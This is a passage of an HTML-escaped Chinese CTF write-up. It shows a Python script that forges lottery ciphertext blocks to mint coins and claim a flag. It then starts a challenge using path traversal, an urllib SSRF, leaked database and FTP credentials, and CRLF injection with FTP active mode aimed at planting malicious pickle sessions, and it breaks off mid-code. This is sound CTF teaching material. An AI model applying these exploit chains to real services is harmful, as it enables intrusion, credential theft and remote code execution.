class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003eget_user\u003c/span\u003e():\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e usernm, passwd = get_random_id(), get_random_id()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ses.post(\u003cspan class=\"string\"\u003e\u0026#39;http://52.149.144.45:8080/user/register\u0026#39;\u003c/span\u003e, data={\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#39;username\u0026#39;\u003c/span\u003e: usernm, \u003cspan class=\"string\"\u003e\u0026#39;password\u0026#39;\u003c/span\u003e: passwd,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }).json()[\u003cspan class=\"string\"\u003e\u0026#39;user\u0026#39;\u003c/span\u003e]\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e user = ses.post(\u003cspan class=\"string\"\u003e\u0026#39;http://52.149.144.45:8080/user/login\u0026#39;\u003c/span\u003e, data={\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#39;username\u0026#39;\u003c/span\u003e: usernm, \u003cspan class=\"string\"\u003e\u0026#39;password\u0026#39;\u003c/span\u003e: passwd,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }).json()[\u003cspan class=\"string\"\u003e\u0026#39;user\u0026#39;\u003c/span\u003e]\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e user\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eflag_user = get_user()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(flag_user)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eprice = ses.post(\u003cspan class=\"string\"\u003e\u0026#39;http://52.149.144.45:8080/lottery/buy\u0026#39;\u003c/span\u003e, data={\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#39;api_token\u0026#39;\u003c/span\u003e: flag_user[\u003cspan class=\"string\"\u003e\u0026#39;api_token\u0026#39;\u003c/span\u003e]\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}).json()[\u003cspan class=\"string\"\u003e\u0026#39;enc\u0026#39;\u003c/span\u003e]\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eamount = \u003cspan class=\"number\"\u003e0\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e amount \u0026lt; \u003cspan class=\"number\"\u003e9999\u003c/span\u003e:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e fake_user = get_user()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e _ \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e \u003cspan class=\"built_in\"\u003erange\u003c/span\u003e(\u003cspan class=\"number\"\u003e3\u003c/span\u003e):\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e sheep = ses.post(\u003cspan class=\"string\"\u003e\u0026#39;http://52.149.144.45:8080/lottery/buy\u0026#39;\u003c/span\u003e, data={\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#39;api_token\u0026#39;\u003c/span\u003e: fake_user[\u003cspan class=\"string\"\u003e\u0026#39;api_token\u0026#39;\u003c/span\u003e]\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }).json()[\u003cspan class=\"string\"\u003e\u0026#39;enc\u0026#39;\u003c/span\u003e]\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e treasure = b64decode(sheep)[:\u003cspan class=\"number\"\u003e64\u003c/span\u003e] + \\\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e b64decode(price)[\u003cspan class=\"number\"\u003e32\u003c/span\u003e:\u003cspan class=\"number\"\u003e96\u003c/span\u003e] + \\\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e b64decode(sheep)[\u003cspan class=\"number\"\u003e96\u003c/span\u003e:]\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e treasure = b64encode(treasure).decode()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e coin = ses.post(\u003cspan class=\"string\"\u003e\u0026#39;http://52.149.144.45:8080/lottery/info\u0026#39;\u003c/span\u003e, data={\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#39;enc\u0026#39;\u003c/span\u003e: treasure\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }).json()[\u003cspan class=\"string\"\u003e\u0026#39;info\u0026#39;\u003c/span\u003e][\u003cspan class=\"string\"\u003e\u0026#39;coin\u0026#39;\u003c/span\u003e]\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e amount += coin\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ses.post(\u003cspan class=\"string\"\u003e\u0026#39;http://52.149.144.45:8080/lottery/charge\u0026#39;\u003c/span\u003e, data={\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#39;user\u0026#39;\u003c/span\u003e: flag_user[\u003cspan class=\"string\"\u003e\u0026#39;uuid\u0026#39;\u003c/span\u003e],\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#39;coin\u0026#39;\u003c/span\u003e: coin,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#39;enc\u0026#39;\u003c/span\u003e: treasure\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e })\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(amount)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eses.post(\u003cspan class=\"string\"\u003e\u0026#39;http://52.149.144.45:8080/flag\u0026#39;\u003c/span\u003e, data={\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#39;api_token\u0026#39;\u003c/span\u003e: flag_user[\u003cspan class=\"string\"\u003e\u0026#39;api_token\u0026#39;\u003c/span\u003e]\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e})\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e \u003c/div\u003e\u003c/div\u003e\u003ch2 id=\"oh-my-bet\"\u003eoh-my-bet\u003c/h2\u003e\u003cp\u003e上来就是个注册页面,然而头像的选择实现得很怪,提交的表单中是\u003ccode\u003e1.png\u003c/code\u003e这样的文件名一样的东西,尝试目录穿越,发现确实可以读到\u003ccode\u003e/etc/passwd\u003c/code\u003e\u003cbr/\u003e遂尝试读\u003ccode\u003e/proc/self/cmdline\u003c/code\u003e等,获取到源码,顺藤摸瓜看到\u003ccode\u003e/app/utils.py\u003c/code\u003e与\u003ccode\u003e/app/config.py\u003c/code\u003e\u003c/p\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# utils.py\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e...\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003eget_avatar\u003c/span\u003e(\u003cspan class=\"params\"\u003eusername\u003c/span\u003e):\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e dirpath = os.path.dirname(__file__)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e user = User.query.filter_by(username=username).first()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e avatar = user.avatar\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e re.match(\u003cspan class=\"string\"\u003e\u0026#39;.+:.+\u0026#39;\u003c/span\u003e, avatar):\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e path = avatar\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e path = \u003cspan class=\"string\"\u003e\u0026#39;/\u0026#39;\u003c/span\u003e.join([\u003cspan class=\"string\"\u003e\u0026#39;file:/\u0026#39;\u003c/span\u003e, dirpath, \u003cspan class=\"string\"\u003e\u0026#39;static\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;img\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;avatar\u0026#39;\u003c/span\u003e, avatar])\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003etry\u003c/span\u003e:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e content = base64.b64encode(urllib.request.urlopen(path).read())\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eexcept\u003c/span\u003e Exception \u003cspan class=\"keyword\"\u003eas\u003c/span\u003e e:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e error_path = \u003cspan class=\"string\"\u003e\u0026#39;/\u0026#39;\u003c/span\u003e.join([\u003cspan class=\"string\"\u003e\u0026#39;file:/\u0026#39;\u003c/span\u003e, dirpath, \u003cspan class=\"string\"\u003e\u0026#39;static\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;img\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;avatar\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;error.png\u0026#39;\u003c/span\u003e])\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e content = base64.b64encode(urllib.request.urlopen(error_path).read())\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e content\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003eutils.py\u003c/code\u003e告诉我们用户头像是访问注册时提交的链接得到的,之后会缓存于redis中。观察可得此处的头像获取是个\u003ccode\u003eurllib\u003c/code\u003e任意协议ssrf\u003c/p\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# config.py\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e...\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003eftp_login\u003c/span\u003e(\u003cspan class=\"params\"\u003eself\u003c/span\u003e):\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ftp = FTP()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ftp.connect(\u003cspan class=\"string\"\u003e\u0026#34;172.20.0.2\u0026#34;\u003c/span\u003e, \u003cspan class=\"number\"\u003e8877\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ftp.login(\u003cspan class=\"string\"\u003e\u0026#34;fan\u0026#34;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;root\u0026#34;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e ftp\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e...\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003eget_config\u003c/span\u003e(\u003cspan class=\"params\"\u003eself\u003c/span\u003e):\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e f = self.ftp_login()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e f.cwd(\u003cspan class=\"string\"\u003e\u0026#34;files\u0026#34;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e buf_size = \u003cspan class=\"number\"\u003e1024\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e f.retrbinary(\u003cspan class=\"string\"\u003e\u0026#39;RETR {}\u0026#39;\u003c/span\u003e.\u003cspan class=\"built_in\"\u003eformat\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#39;config.json\u0026#39;\u003c/span\u003e), self.callback, buf_size)\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003econfig.py\u003c/code\u003e又告诉我们flask启动时的环境变量位于\u003ccode\u003e172.20.0.2\u003c/code\u003e的ftp服务器中。利用上面的ssrf来取得config.json:\u003c/p\u003e\u003cfigure class=\"highlight json\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003e\u0026#34;secret_key\u0026#34;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#34;f4545478ee86$%^\u0026amp;\u0026amp;%$#\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003e\u0026#34;DEBUG\u0026#34;\u003c/span\u003e: \u003cspan class=\"literal\"\u003efalse\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003e\u0026#34;SESSION_TYPE\u0026#34;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#34;mongodb\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003e\u0026#34;REMOTE_MONGO_IP\u0026#34;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#34;172.20.0.5\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003e\u0026#34;REMOTE_MONGO_PORT\u0026#34;\u003c/span\u003e: \u003cspan class=\"number\"\u003e27017\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003e\u0026#34;SESSION_MONGODB_DB\u0026#34;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#34;admin\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003e\u0026#34;SESSION_MONGODB_COLLECT\u0026#34;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#34;sessions\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003e\u0026#34;SESSION_PERMANENT\u0026#34;\u003c/span\u003e: \u003cspan class=\"literal\"\u003etrue\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003e\u0026#34;SESSION_USE_SIGNER\u0026#34;\u003c/span\u003e: \u003cspan class=\"literal\"\u003efalse\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003e\u0026#34;SESSION_KEY_PREFIX\u0026#34;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#34;session:\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003e\u0026#34;SQLALCHEMY_DATABASE_URI\u0026#34;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#34;mysql+pymysql://root:starctf123456@172.20.0.3:3306/ctf?charset=utf8\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003e\u0026#34;SQLALCHEMY_TRACK_MODIFICATIONS\u0026#34;\u003c/span\u003e: \u003cspan class=\"literal\"\u003etrue\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003e\u0026#34;REDIS_URL\u0026#34;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#34;redis://@172.20.0.4:6379/0\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e此时我们发现内网有\u003ccode\u003e172.20.0.0/29\u003c/code\u003e共五台服务器(1为宿主机,不计)\u003cbr/\u003emysql估计是出题人想用来存payload审payload的,没啥用,hint也说了不要管redis,重点在于mongodb中存储了session对象。\u003cbr/\u003e题目用到了\u003ccode\u003eflask_session\u003c/code\u003e,而\u003ccode\u003eflask_session\u003c/code\u003e使用的serializer默认是pickle(貌似现在也不支持改),也就是说只要能将恶意pickle数据塞到mongodb里就可以了\u003c/p\u003e\u003cp\u003e经尝试,利用\u003ccode\u003eftp://fan:root@172.20.0.2/\u003c/code\u003e这样的url可以列出ftp服务器内的文件,下载\u003ccode\u003eftp-server.py\u003c/code\u003e\u003cbr/\u003e首先看权限:\u003ccode\u003eauthorizer.add_user(\u0026#34;fan\u0026#34;, \u0026#34;root\u0026#34;, \u0026#34;.\u0026#34;, perm=\u0026#34;elrafmwMT\u0026#34;)\u003c/code\u003e,有权限写\u003c/p\u003e\u003cp\u003eurllib这个ssrf还能怎么样进一步利用呢?略作百(gu)度(ge)可以找到\u003ca href=\"https://bugs.python.org/issue36276\"\u003e这个CVE\u003c/a\u003e\u003cbr/\u003e不出意料,urllib在题目环境的版本中存在CRLF注入,我们可以在url的任意一个part注入换行符。这样,我们就可以完整地控制ftp客户端的行为了。\u003c/p\u003e\u003cp\u003e参考\u003ca href=\"http://blog.zeddyu.info/2020/04/20/Plaid-CTF-2020-Web-1/\"\u003e这篇文章\u003c/a\u003e,我们发现ftp竟然还有主动模式这一说。\u003cbr/\u003eplaid里的这道题利用ftp主动模式可以将ftp服务器内可控的二进制文件发送到任意ip的任意端口,对这道题来说问题就在于如何控制ftp服务器里的文件。\u003cbr/\u003e经尝试(其实也能搜到),主动模式不仅可以用于文件的下载,还可以用于文件的上传。也就是说只要指示ftp服务器到我们自己的服务器来下载文件就好了。\u003c/p\u003e\u003cp\u003e此时,我们成功地将CRLF注入型SSRF提升为了完整的无状态二进制流SSRF(自己瞎起的名字),类似gopher\u003c/p\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ebind = \u003cspan class=\"string\"\u003e\u0026#39;自己的IP:端口\u0026#39;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003etarg = \u003cspan class=\"string\"\u003e\u0026#39;SSRF的目标IP:端口\u0026#39;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003eget_port_cmd\u003c/span\u003e(\u003cspan class=\"params\"\u003ehost\u003c/span\u003e):\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e host, port = host.split(\u003cspan class=\"string\"\u003e\u0026#39;:\u0026#39;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e port = \u003cspan class=\"built_in\"\u003eint\u003c/span\u003e(port)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#39;PORT \u0026#39;\u003c/span\u003e + \u003cspan class=\"string\"\u003e\u0026#39;,\u0026#39;\u003c/span\u003e.join(host.split(\u003cspan class=\"string\"\u003e\u0026#39;.\u0026#39;\u003c/span\u003e) + [\u003cspan class=\"built_in\"\u003estr\u003c/span\u003e(port // \u003cspan class=\"number\"\u003e256\u003c/span\u003e), \u003cspan class=\"built_in\"\u003estr\u003c/span\u003e(port - port // \u003cspan class=\"number\"\u003e256\u003c/span\u003e * \u003cspan class=\"number\"\u003e256\u003c/span\u003e)])\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003einject\u003c/span\u003e(\u003cspan class=\"params\"\u003ecmd\u003c/span\u003e):\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e cmd = \u003cspan class=\"string\"\u003e\u0026#39;\\r\\n\u0026#39;\u003c/span\u003e.join(cmd)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e 